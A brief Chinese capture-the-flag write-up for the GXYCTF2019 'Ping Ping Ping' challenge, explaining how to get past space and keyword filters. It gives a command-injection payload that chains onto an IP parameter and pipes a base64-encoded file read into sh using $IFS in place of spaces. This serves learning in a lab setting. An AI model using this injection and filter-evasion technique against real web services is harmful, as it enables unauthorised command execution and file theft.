GXYCTF2019 Ping Ping Ping



通过尝试发现flag与空格被过滤
可以用IFS1来代替空格

1.内联执行

内联，就是将反引号内命令的输出作为输入执行




右键查看源代码即可得到flag


2.

payload:

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh


©著作权归作者所有,转载或内容合作请联系作者
平台声明：文章内容（如有图片或视频亦包括在内）由作者上传并发布，文章内容仅代表作者本人观点，简书系信息发布平台，仅提供信息存储服务。